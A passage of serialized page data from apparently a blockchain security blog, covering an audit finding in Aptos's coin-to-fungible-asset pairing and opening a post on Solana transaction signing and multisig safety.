coin_to_fungible_asset",{"type":24,"tag":271,"props":73617,"children":73618},{"style":288},[73619],{"type":29,"value":801},{"type":24,"tag":271,"props":73621,"children":73622},{"style":3887},[73623],{"type":29,"value":14300},{"type":24,"tag":271,"props":73625,"children":73626},{"style":288},[73627],{"type":29,"value":14305},{"type":24,"tag":271,"props":73629,"children":73630},{"class":273,"line":284},[73631,73635,73639,73643,73647,73651],{"type":24,"tag":271,"props":73632,"children":73633},{"style":630},[73634],{"type":29,"value":67971},{"type":24,"tag":271,"props":73636,"children":73637},{"style":624},[73638],{"type":29,"value":12210},{"type":24,"tag":271,"props":73640,"children":73641},{"style":3887},[73642],{"type":29,"value":13518},{"type":24,"tag":271,"props":73644,"children":73645},{"style":288},[73646],{"type":29,"value":801},{"type":24,"tag":271,"props":73648,"children":73649},{"style":3887},[73650],{"type":29,"value":14300},{"type":24,"tag":271,"props":73652,"children":73653},{"style":288},[73654],{"type":29,"value":13709},{"type":24,"tag":271,"props":73656,"children":73657},{"class":273,"line":294},[73658,73662,73666,73670,73674,73679,73683,73687],{"type":24,"tag":271,"props":73659,"children":73660},{"style":288},[73661],{"type":29,"value":2693},{"type":24,"tag":271,"props":73663,"children":73664},{"style":624},[73665],{"type":29,"value":12210},{"type":24,"tag":271,"props":73667,"children":73668},{"style":3887},[73669],{"type":29,"value":68326},{"type":24,"tag":271,"props":73671,"children":73672},{"style":630},[73673],{"type":29,"value":15283},{"type":24,"tag":271,"props":73675,"children":73676},{"style":3887},[73677],{"type":29,"value":73678}," CoinConversionMap",{"type":24,"tag":271,"props":73680,"children":73681},{"style":288},[73682],{"type":29,"value":158},{"type":24,"tag":271,"props":73684,"children":73685},{"style":3887},[73686],{"type":29,"value":14430},{"type":24,"tag":271,"props":73688,"children":73689},{"style":288},[73690],{"type":29,"value":7145},{"type":24,"tag":271,"props":73692,"children":73693},{"class":273,"line":303},[73694,73698,73703,73707,73712,73716,73720],{"type":24,"tag":271,"props":73695,"children":73696},{"style":278},[73697],{"type":29,"value":10738},{"type":24,"tag":271,"props":73699,"children":73700},{"style":630},[73701],{"type":29,"value":73702}," metadata",{"type":24,"tag":271,"props":73704,"children":73705},{"style":624},[73706],{"type":29,"value":1712},{"type":24,"tag":271,"props":73708,"children":73709},{"style":630},[73710],{"type":29,"value":73711}," ensure_paired_metadata",{"type":24,"tag":271,"props":73713,"children":73714},{"style":288},[73715],{"type":29,"value":801},{"type":24,"tag":271,"props":73717,"children":73718},{"style":3887},[73719],{"type":29,"value":14300},{"type":24,"tag":271,"props":73721,"children":73722},{"style":288},[73723],{"type":29,"value":16167},{"type":24,"tag":271,"props":73725,"children":73726},{"class":273,"line":312},[73727,73731,73736,73740,73745,73749,73753],{"type":24,"tag":271,"props":73728,"children":73729},{"style":278},[73730],{"type":29,"value":10738},{"type":24,"tag":271,"props":73732,"children":73733},{"style":630},[73734],{"type":29,"value":73735}," amount",{"type":24,"tag":271,"props":73737,"children":73738},{"style":624},[73739],{"type":29,"value":1712},{"type":24,"tag":271,"props":73741,"children":73742},{"style":598},[73743],{"type":29,"value":73744}," burn_internal",{"type":24,"tag":271,"props":73746,"children":73747},{"style":288},[73748],{"type":29,"value":606},{"type":24,"tag":271,"props":73750,"children":73751},{"style":630},[73752],{"type":29,"value":67719},{"type":24,"tag":271,"props":73754,"children":73755},{"style":288},[73756],{"type":29,"value":1155},{"type":24,"tag":271,"props":73758,"children":73759},{"class":273,"line":321},[73760,73764,73768,73773,73777,73781,73785,73789],{"type":24,"tag":271,"props":73761,"children":73762},{"style":288},[73763],{"type":29,"value":72747},{"type":24,"tag":271,"props":73765,"children":73766},{"style":624},[73767],{"type":29,"value":11207},{"type":24,"tag":271,"props":73769,"children":73770},{"style":598},[73771],{"type":29,"value":73772},"mint_internal",{"type":24,"tag":271,"props":73774,"children":73775},{"style":288},[73776],{"type":29,"value":606},{"type":24,"tag":271,"props":73778,"children":73779},{"style":630},[73780],{"type":29,"value":69098},{"type":24,"tag":271,"props":73782,"children":73783},{"style":288},[73784],{"type":29,"value":158},{"type":24,"tag":271,"props":73786,"children":73787},{"style":630},[73788],{"type":29,"value":27994},{"type":24,"tag":271,"props":73790,"children":73791},{"style":288},[73792],{"type":29,"value":694},{"type":24,"tag":271,"props":73794,"children":73795},{"class":273,"line":330},[73796],{"type":24,"tag":271,"props":73797,"children":73798},{"style":288},[73799],{"type":29,"value":1171},{"type":24,"tag":25,"props":73801,"children":73802},{},[73803,73805,73812],{"type":29,"value":73804},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":24,"tag":32,"props":73806,"children":73809},{"href":73807,"rel":73808},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[36],[73810],{"type":29,"value":73811},"noticed an overlooked detail",{"type":29,"value":73813}," in the linking process.",{"type":24,"tag":261,"props":73815,"children":73817},{"className":10718,"code":73816,"language":10717,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[73818],{"type":24,"tag":135,"props":73819,"children":73820},{"__ignoreMap":7},[73821,73836,73856,73873,73929,73950,73970,73990,74020,74047,74054],{"type":24,"tag":271,"props":73822,"children":73823},{"class":273,"line":274},[73824,73828,73832],{"type":24,"tag":271,"props":73825,"children":73826},{"style":288},[73827],{"type":29,"value":4520},{"type":24,"tag":271,"props":73829,"children":73830},{"style":624},[73831],{"type":29,"value":17298},{"type":24,"tag":271,"props":73833,"children":73834},{"style":288},[73835],{"type":29,"value":19475},{"type":24,"tag":271,"props":73837,"children":73838},{"class":273,"line":284},[73839,73843,73847,73852],{"type":24,"tag":271,"props":73840,"children":73841},{"style":288},[73842],{"type":29,"value":69395},{"type":24,"tag":271,"props":73844,"children":73845},{"style":624},[73846],{"type":29,"value":11207},{"type":24,"tag":271,"props":73848,"children":73849},{"style":598},[73850],{"type":29,"value":73851},"create_primary_store_enabled_fungible_asset",{"type":24,"tag":271,"props":73853,"children":73854},{"style":288},[73855],{"type":29,"value":4028},{"type":24,"tag":271,"props":73857,"children":73858},{"class":273,"line":294},[73859,73864,73869],{"type":24,"tag":271,"props":73860,"children":73861},{"style":624},[73862],{"type":29,"value":73863}," &",{"type":24,"tag":271,"props":73865,"children":73866},{"style":630},[73867],{"type":29,"value":73868},"metadata_object_cref",{"type":24,"tag":271,"props":73870,"children":73871},{"style":288},[73872],{"type":29,"value":638},{"type":24,"tag":271,"props":73874,"children":73875},{"class":273,"line":303},[73876,73881,73885,73890,73894,73899,73903,73907,73912,73916,73920,73924],{"type":24,"tag":271,"props":73877,"children":73878},{"style":288},[73879],{"type":29,"value":73880}," option",{"type":24,"tag":271,"props":73882,"children":73883},{"style":624},[73884],{"type":29,"value":11207},{"type":24,"tag":271,"props":73886,"children":73887},{"style":598},[73888],{"type":29,"value":73889},"map",{"type":24,"tag":271,"props":73891,"children":73892},{"style":288},[73893],{"type":29,"value":606},{"type":24,"tag":271,"props":73895,"children":73896},{"style":630},[73897],{"type":29,"value":73898},"coin_supply",{"type":24,"tag":271,"props":73900,"children":73901},{"style":288},[73902],{"type":29,"value":801},{"type":24,"tag":271,"props":73904,"children":73905},{"style":3887},[73906],{"type":29,"value":14300},{"type":24,"tag":271,"props":73908,"children":73909},{"style":288},[73910],{"type":29,"value":73911},">(), ",{"type":24,"tag":271,"props":73913,"children":73914},{"style":624},[73915],{"type":29,"value":4076},{"type":24,"tag":271,"props":73917,"children":73918},{"style":630},[73919],{"type":29,"value":10818},{"type":24,"tag":271,"props":73921,"children":73922},{"style":624},[73923],{"type":29,"value":4076},{"type":24,"tag":271,"props":73925,"children":73926},{"style":288},[73927],{"type":29,"value":73928}," MAX_U128),\n",{"type":24,"tag":271,"props":73930,"children":73931},{"class":273,"line":312},[73932,73937,73941,73945],{"type":24,"tag":271,"props":73933,"children":73934},{"style":630},[73935],{"type":29,"value":73936}," name",{"type":24,"tag":271,"props":73938,"children":73939},{"style":288},[73940],{"type":29,"value":801},{"type":24,"tag":271,"props":73942,"children":73943},{"style":3887},[73944],{"type":29,"value":14300},{"type":24,"tag":271,"props":73946,"children":73947},{"style":288},[73948],{"type":29,"value":73949},">(),\n",{"type":24,"tag":271,"props":73951,"children":73952},{"class":273,"line":321},[73953,73958,73962,73966],{"type":24,"tag":271,"props":73954,"children":73955},{"style":630},[73956],{"type":29,"value":73957}," symbol",{"type":24,"tag":271,"props":73959,"children":73960},{"style":288},[73961],{"type":29,"value":801},{"type":24,"tag":271,"props":73963,"children":73964},{"style":3887},[73965],{"type":29,"value":14300},{"type":24,"tag":271,"props":73967,"children":73968},{"style":288},[73969],{"type":29,"value":73949},{"type":24,"tag":271,"props":73971,"children":73972},{"class":273,"line":330},[73973,73978,73982,73986],{"type":24,"tag":271,"props":73974,"children":73975},{"style":630},[73976],{"type":29,"value":73977}," decimals",{"type":24,"tag":271,"props":73979,"children":73980},{"style":288},[73981],{"type":29,"value":801},{"type":24,"tag":271,"props":73983,"children":73984},{"style":3887},[73985],{"type":29,"value":14300},{"type":24,"tag":271,"props":73987,"children":73988},{"style":288},[73989],{"type":29,"value":73949},{"type":24,"tag":271,"props":73991,"children":73992},{"class":273,"line":339},[73993,73998,74002,74007,74011,74016],{"type":24,"tag":271,"props":73994,"children":73995},{"style":288},[73996],{"type":29,"value":73997}," string",{"type":24,"tag":271,"props":73999,"children":74000},{"style":624},[74001],{"type":29,"value":11207},{"type":24,"tag":271,"props":74003,"children":74004},{"style":598},[74005],{"type":29,"value":74006},"utf8",{"type":24,"tag":271,"props":74008,"children":74009},{"style":288},[74010],{"type":29,"value":606},{"type":24,"tag":271,"props":74012,"children":74013},{"style":378},[74014],{"type":29,"value":74015},"b\"\"",{"type":24,"tag":271,"props":74017,"children":74018},{"style":288},[74019],{"type":29,"value":14453},{"type":24,"tag":271,"props":74021,"children":74022},{"class":273,"line":347},[74023,74027,74031,74035,74039,74043],{"type":24,"tag":271,"props":74024,"children":74025},{"style":288},[74026],{"type":29,"value":73997},{"type":24,"tag":271,"props":74028,"children":74029},{"style":624},[74030],{"type":29,"value":11207},{"type":24,"tag":271,"props":74032,"children":74033},{"style":598},[74034],{"type":29,"value":74006},{"type":24,"tag":271,"props":74036,"children":74037},{"style":288},[74038],{"type":29,"value":606},{"type":24,"tag":271,"props":74040,"children":74041},{"style":378},[74042],{"type":29,"value":74015},{"type":24,"tag":271,"props":74044,"children":74045},{"style":288},[74046],{"type":29,"value":14453},{"type":24,"tag":271,"props":74048,"children":74049},{"class":273,"line":356},[74050],{"type":24,"tag":271,"props":74051,"children":74052},{"style":288},[74053],{"type":29,"value":1155},{"type":24,"tag":271,"props":74055,"children":74056},{"class":273,"line":365},[74057,74061,74065],{"type":24,"tag":271,"props":74058,"children":74059},{"style":288},[74060],{"type":29,"value":4520},{"type":24,"tag":271,"props":74062,"children":74063},{"style":624},[74064],{"type":29,"value":17298},{"type":24,"tag":271,"props":74066,"children":74067},{"style":288},[74068],{"type":29,"value":19475},{"type":24,"tag":25,"props":74070,"children":74071},{},[74072,74074,74079],{"type":29,"value":74073},"When the linked fungible asset was created, the current ",{"type":24,"tag":135,"props":74075,"children":74077},{"className":74076},[],[74078],{"type":29,"value":67752},{"type":29,"value":74080}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":24,"tag":25,"props":74082,"children":74083},{},[74084,74086,74091,74093,74099,74101,74106],{"type":29,"value":74085},"Users can manually migrate their ",{"type":24,"tag":135,"props":74087,"children":74089},{"className":74088},[],[74090],{"type":29,"value":67914},{"type":29,"value":74092}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":24,"tag":135,"props":74094,"children":74096},{"className":74095},[],[74097],{"type":29,"value":74098},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":74100}," from the caller. All coins in the ",{"type":24,"tag":135,"props":74102,"children":74104},{"className":74103},[],[74105],{"type":29,"value":67914},{"type":29,"value":74107}," are exchanged and transferred to the new store during the migration.",{"type":24,"tag":261,"props":74109,"children":74111},{"className":10718,"code":74110,"language":10717,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[74112],{"type":24,"tag":135,"props":74113,"children":74114},{"__ignoreMap":7},[74115,74123,74155,74175,74211,74252],{"type":24,"tag":271,"props":74116,"children":74117},{"class":273,"line":274},[74118],{"type":24,"tag":271,"props":74119,"children":74120},{"style":2058},[74121],{"type":29,"value":74122},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":24,"tag":271,"props":74124,"children":74125},{"class":273,"line":284},[74126,74130,74134,74138,74143,74147,74151],{"type":24,"tag":271,"props":74127,"children":74128},{"style":630},[74129],{"type":29,"value":68461},{"type":24,"tag":271,"props":74131,"children":74132},{"style":630},[74133],{"type":29,"value":69428},{"type":24,"tag":271,"props":74135,"children":74136},{"style":630},[74137],{"type":29,"value":13924},{"type":24,"tag":271,"props":74139,"children":74140},{"style":630},[74141],{"type":29,"value":74142}," migrate_to_fungible_store",{"type":24,"tag":271,"props":74144,"children":74145},{"style":288},[74146],{"type":29,"value":801},{"type":24,"tag":271,"props":74148,"children":74149},{"style":3887},[74150],{"type":29,"value":14300},{"type":24,"tag":271,"props":74152,"children":74153},{"style":288},[74154],{"type":29,"value":14305},{"type":24,"tag":271,"props":74156,"children":74157},{"class":273,"line":294},[74158,74162,74166,74170],{"type":24,"tag":271,"props":74159,"children":74160},{"style":630},[74161],{"type":29,"value":32847},{"type":24,"tag":271,"props":74163,"children":74164},{"style":624},[74165],{"type":29,"value":12210},{"type":24,"tag":271,"props":74167,"children":74168},{"style":624},[74169],{"type":29,"value":14858},{"type":24,"tag":271,"props":74171,"children":74172},{"style":630},[74173],{"type":29,"value":74174},"signer\n",{"type":24,"tag":271,"props":74176,"children":74177},{"class":273,"line":303},[74178,74182,74186,74190,74194,74199,74203,74207],{"type":24,"tag":271,"props":74179,"children":74180},{"style":288},[74181],{"type":29,"value":8823},{"type":24,"tag":271,"props":74183,"children":74184},{"style":630},[74185],{"type":29,"value":14061},{"type":24,"tag":271,"props":74187,"children":74188},{"style":3887},[74189],{"type":29,"value":67935},{"type":24,"tag":271,"props":74191,"children":74192},{"style":288},[74193],{"type":29,"value":158},{"type":24,"tag":271,"props":74195,"children":74196},{"style":3887},[74197],{"type":29,"value":74198},"CoinConversionMap",{"type":24,"tag":271,"props":74200,"children":74201},{"style":288},[74202],{"type":29,"value":158},{"type":24,"tag":271,"props":74204,"children":74205},{"style":3887},[74206],{"type":29,"value":14430},{"type":24,"tag":271,"props":74208,"children":74209},{"style":288},[74210],{"type":29,"value":7145},{"type":24,"tag":271,"props":74212,"children":74213},{"class":273,"line":312},[74214,74219,74223,74227,74232,74236,74240,74244,74248],{"type":24,"tag":271,"props":74215,"children":74216},{"style":630},[74217],{"type":29,"value":74218}," maybe_convert_to_fungible_store",{"type":24,"tag":271,"props":74220,"children":74221},{"style":288},[74222],{"type":29,"value":801},{"type":24,"tag":271,"props":74224,"children":74225},{"style":3887},[74226],{"type":29,"value":14300},{"type":24,"tag":271,"props":74228,"children":74229},{"style":288},[74230],{"type":29,"value":74231},">(signer",{"type":24,"tag":271,"props":74233,"children":74234},{"style":624},[74235],{"type":29,"value":11207},{"type":24,"tag":271,"props":74237,"children":74238},{"style":598},[74239],{"type":29,"value":14926},{"type":24,"tag":271,"props":74241,"children":74242},{"style":288},[74243],{"type":29,"value":606},{"type":24,"tag":271,"props":74245,"children":74246},{"style":630},[74247],{"type":29,"value":20653},{"type":24,"tag":271,"props":74249,"children":74250},{"style":288},[74251],{"type":29,"value":5811},{"type":24,"tag":271,"props":74253,"children":74254},{"class":273,"line":321},[74255],{"type":24,"tag":271,"props":74256,"children":74257},{"style":288},[74258],{"type":29,"value":1171},{"type":24,"tag":25,"props":74260,"children":74261},{},[74262,74264,74269,74271,74276],{"type":29,"value":74263},"A curious reader might wonder about the fate of the ",{"type":24,"tag":135,"props":74265,"children":74267},{"className":74266},[],[74268],{"type":29,"value":67914},{"type":29,"value":74270}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":24,"tag":135,"props":74272,"children":74274},{"className":74273},[],[74275],{"type":29,"value":67914},{"type":29,"value":74277}," to ensure consistency.",{"type":24,"tag":72972,"props":74279,"children":74280},{},[74281,74300],{"type":24,"tag":25,"props":74282,"children":74283},{},[74284,74286,74291,74293,74298],{"type":29,"value":74285},"Could an attacker convert their ",{"type":24,"tag":135,"props":74287,"children":74289},{"className":74288},[],[74290],{"type":29,"value":67914},{"type":29,"value":74292}," to a primary fungible store and then register another ",{"type":24,"tag":135,"props":74294,"children":74296},{"className":74295},[],[74297],{"type":29,"value":67914},{"type":29,"value":74299}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":24,"tag":73003,"props":74301,"children":74302},{"v-slot:answer-0":7},[74303],{"type":24,"tag":25,"props":74304,"children":74305},{},[74306],{"type":29,"value":74307},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":24,"tag":62,"props":74309,"children":74310},{"id":10547},[74311],{"type":29,"value":10550},{"type":24,"tag":25,"props":74313,"children":74314},{},[74315,74317,74322],{"type":29,"value":74316},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":24,"tag":135,"props":74318,"children":74320},{"className":74319},[],[74321],{"type":29,"value":67752},{"type":29,"value":41},{"type":24,"tag":25,"props":74324,"children":74325},{},[74326],{"type":29,"value":74327},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":24,"tag":25,"props":74329,"children":74330},{},[74331,74333],{"type":29,"value":74332},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":24,"tag":23171,"props":74334,"children":74335},{},[74336],{"type":24,"tag":32,"props":74337,"children":74339},{"href":37298,"ariaDescribedBy":74338,"dataFootnoteRef":7,"id":37300},[23178],[74340],{"type":29,"value":156},{"type":24,"tag":26113,"props":74342,"children":74344},{"className":74343,"dataFootnotes":7},[26116],[74345,74350],{"type":24,"tag":62,"props":74346,"children":74348},{"className":74347,"id":23178},[26121],[74349],{"type":29,"value":26124},{"type":24,"tag":3834,"props":74351,"children":74352},{},[74353],{"type":24,"tag":101,"props":74354,"children":74355},{"id":38041},[74356,74358,74400],{"type":29,"value":74357},"There are at least four functions that can withdraw a fungible asset:",{"type":24,"tag":97,"props":74359,"children":74360},{},[74361,74371,74380,74390],{"type":24,"tag":101,"props":74362,"children":74363},{},[74364],{"type":24,"tag":32,"props":74365,"children":74369},{"href":74366,"rel":74367,":style":74368},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[36],"color: #007bff;",[74370],{"type":29,"value":71053},{"type":24,"tag":101,"props":74372,"children":74373},{},[74374],{"type":24,"tag":32,"props":74375,"children":74378},{"href":74376,"rel":74377,":style":74368},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[36],[74379],{"type":29,"value":72993},{"type":24,"tag":101,"props":74381,"children":74382},{},[74383],{"type":24,"tag":32,"props":74384,"children":74387},{"href":74385,"rel":74386,":style":74368},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[36],[74388],{"type":29,"value":74389},"primary_fungible_store::withdraw",{"type":24,"tag":101,"props":74391,"children":74392},{},[74393],{"type":24,"tag":32,"props":74394,"children":74397},{"href":74395,"rel":74396,":style":74368},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[36],[74398],{"type":29,"value":74399},"coin::withdraw",{"type":24,"tag":32,"props":74401,"children":74403},{"href":38069,"ariaLabel":26227,"className":74402,"dataFootnoteBackref":7},[26229],[74404],{"type":29,"value":26232},{"type":24,"tag":10562,"props":74406,"children":74407},{},[74408],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":74410},[74411,74412,74413,74416,74421,74422,74423,74424],{"id":67738,"depth":284,"text":67741},{"id":68283,"depth":284,"text":68286},{"id":68843,"depth":284,"text":68846,"children":74414},[74415],{"id":69354,"depth":294,"text":69357},{"id":69611,"depth":284,"text":69614,"children":74417},[74418,74419,74420],{"id":69654,"depth":294,"text":69657},{"id":70359,"depth":294,"text":70362},{"id":72017,"depth":294,"text":72020},{"id":72548,"depth":284,"text":72551},{"id":73529,"depth":284,"text":73532},{"id":10547,"depth":284,"text":10550},{"id":23178,"depth":284,"text":26124},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":74429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74430,"description":74431,"date":74432,"author":13438,"image":74433,"isFeatured":16,"onBlogPage":16,"tags":74435,"body":74436,"_type":10599,"_id":76264,"_source":10601,"_file":76265,"_stem":76266,"_extension":10604},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":74434,"width":13103,"height":13104},"/posts/multisig-security/title.png",[10616],{"type":21,"children":74437,"toc":76255},[74438,74451,74457,74462,74468,74481,74489,74502,74562,74584,74711,74716,74729,74741,74747,74761,74774,74788,75270,75275,75283,75297,75311,75450,75462,75468,75473,75491,75496,75501,75522,75806,75821,76009,76022,76151,76156,76161,76166,76194,76200,76205,76219,76251],{"type":24,"tag":25,"props":74439,"children":74440},{},[74441,74442,74449],{"type":29,"value":1422},{"type":24,"tag":32,"props":74443,"children":74446},{"href":74444,"rel":74445},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[36],[74447],{"type":29,"value":74448},"Bybit hack",{"type":29,"value":74450}," raises an interesting question: what can teams do if their signers are compromised?",{"type":24,"tag":62,"props":74452,"children":74454},{"id":74453},"solana-signatures",[74455],{"type":29,"value":74456},"Solana Signatures",{"type":24,"tag":25,"props":74458,"children":74459},{},[74460],{"type":29,"value":74461},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":24,"tag":85,"props":74463,"children":74465},{"id":74464},"recent-blockhash",[74466],{"type":29,"value":74467},"Recent Blockhash",{"type":24,"tag":25,"props":74469,"children":74470},{},[74471,74473,74480],{"type":29,"value":74472},"The most straightforward is with a \"recent blockhash\". From ",{"type":24,"tag":32,"props":74474,"children":74477},{"href":74475,"rel":74476},"https://solana.com/developers/guides/advanced/confirmation",[36],[74478],{"type":29,"value":74479},"the docs",{"type":29,"value":12210},{"type":24,"tag":10670,"props":74482,"children":74483},{},[74484],{"type":24,"tag":25,"props":74485,"children":74486},{},[74487],{"type":29,"value":74488},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":24,"tag":25,"props":74490,"children":74491},{},[74492,74494,74501],{"type":29,"value":74493},"The actual constant ",{"type":24,"tag":32,"props":74495,"children":74498},{"href":74496,"rel":74497},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[36],[74499],{"type":29,"value":74500},"is defined here",{"type":29,"value":41},{"type":24,"tag":261,"props":74503,"children":74505},{"className":10718,"code":74504,"language":10717,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[74506],{"type":24,"tag":135,"props":74507,"children":74508},{"__ignoreMap":7},[74509,74517],{"type":24,"tag":271,"props":74510,"children":74511},{"class":273,"line":274},[74512],{"type":24,"tag":271,"props":74513,"children":74514},{"style":2058},[74515],{"type":29,"value":74516},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":24,"tag":271,"props":74518,"children":74519},{"class":273,"line":284},[74520,74524,74528,74533,74537,74541,74545,74550,74554,74558],{"type":24,"tag":271,"props":74521,"children":74522},{"style":278},[74523],{"type":29,"value":21391},{"type":24,"tag":271,"props":74525,"children":74526},{"style":278},[74527],{"type":29,"value":46779},{"type":24,"tag":271,"props":74529,"children":74530},{"style":288},[74531],{"type":29,"value":74532}," MAX_PROCESSING_AGE",{"type":24,"tag":271,"props":74534,"children":74535},{"style":624},[74536],{"type":29,"value":12210},{"type":24,"tag":271,"props":74538,"children":74539},{"style":3887},[74540],{"type":29,"value":21432},{"type":24,"tag":271,"props":74542,"children":74543},{"style":624},[74544],{"type":29,"value":1712},{"type":24,"tag":271,"props":74546,"children":74547},{"style":288},[74548],{"type":29,"value":74549}," MAX_RECENT_BLOCKHASHES ",{"type":24,"tag":271,"props":74551,"children":74552},{"style":624},[74553],{"type":29,"value":12298},{"type":24,"tag":271,"props":74555,"children":74556},{"style":477},[74557],{"type":29,"value":4183},{"type":24,"tag":271,"props":74559,"children":74560},{"style":288},[74561],{"type":29,"value":1069},{"type":24,"tag":25,"props":74563,"children":74564},{},[74565,74567,74574,74576,74582],{"type":29,"value":74566},"For those curious, the logic ",{"type":24,"tag":32,"props":74568,"children":74571},{"href":74569,"rel":74570},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[36],[74572],{"type":29,"value":74573},"starts here",{"type":29,"value":74575}," and is quite straightforward to follow, ending in a ",{"type":24,"tag":135,"props":74577,"children":74579},{"className":74578},[],[74580],{"type":29,"value":74581},"is_hash_index_valid",{"type":29,"value":74583}," check.",{"type":24,"tag":261,"props":74585,"children":74587},{"className":10718,"code":74586,"language":10717,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[74588],{"type":24,"tag":135,"props":74589,"children":74590},{"__ignoreMap":7},[74591,74670,74704],{"type":24,"tag":271,"props":74592,"children":74593},{"class":273,"line":274},[74594,74598,74603,74607,74612,74616,74620,74624,74629,74633,74637,74641,74646,74650,74654,74658,74662,74666],{"type":24,"tag":271,"props":74595,"children":74596},{"style":278},[74597],{"type":29,"value":27955},{"type":24,"tag":271,"props":74599,"children":74600},{"style":598},[74601],{"type":29,"value":74602}," is_hash_index_valid",{"type":24,"tag":271,"props":74604,"children":74605},{"style":288},[74606],{"type":29,"value":606},{"type":24,"tag":271,"props":74608,"children":74609},{"style":630},[74610],{"type":29,"value":74611},"last_hash_index",{"type":24,"tag":271,"props":74613,"children":74614},{"style":624},[74615],{"type":29,"value":12210},{"type":24,"tag":271,"props":74617,"children":74618},{"style":3887},[74619],{"type":29,"value":13576},{"type":24,"tag":271,"props":74621,"children":74622},{"style":288},[74623],{"type":29,"value":158},{"type":24,"tag":271,"props":74625,"children":74626},{"style":630},[74627],{"type":29,"value":74628},"max_age",{"type":24,"tag":271,"props":74630,"children":74631},{"style":624},[74632],{"type":29,"value":12210},{"type":24,"tag":271,"props":74634,"children":74635},{"style":3887},[74636],{"type":29,"value":21432},{"type":24,"tag":271,"props":74638,"children":74639},{"style":288},[74640],{"type":29,"value":158},{"type":24,"tag":271,"props":74642,"children":74643},{"style":630},[74644],{"type":29,"value":74645},"hash_index",{"type":24,"tag":271,"props":74647,"children":74648},{"style":624},[74649],{"type":29,"value":12210},{"type":24,"tag":271,"props":74651,"children":74652},{"style":3887},[74653],{"type":29,"value":13576},{"type":24,"tag":271,"props":74655,"children":74656},{"style":288},[74657],{"type":29,"value":8823},{"type":24,"tag":271,"props":74659,"children":74660},{"style":624},[74661],{"type":29,"value":786},{"type":24,"tag":271,"props":74663,"children":74664},{"style":3887},[74665],{"type":29,"value":19753},{"type":24,"tag":271,"props":74667,"children":74668},{"style":288},[74669],{"type":29,"value":7145},{"type":24,"tag":271,"props":74671,"children":74672},{"class":273,"line":284},[74673,74678,74682,74687,74691,74696,74700],{"type":24,"tag":271,"props":74674,"children":74675},{"style":630},[74676],{"type":29,"value":74677}," last_hash_index",{"type":24,"tag":271,"props":74679,"children":74680},{"style":624},[74681],{"type":29,"value":819},{"type":24,"tag":271,"props":74683,"children":74684},{"style":630},[74685],{"type":29,"value":74686}," hash_index",{"type":24,"tag":271,"props":74688,"children":74689},{"style":624},[74690],{"type":29,"value":15912},{"type":24,"tag":271,"props":74692,"children":74693},{"style":630},[74694],{"type":29,"value":74695}," 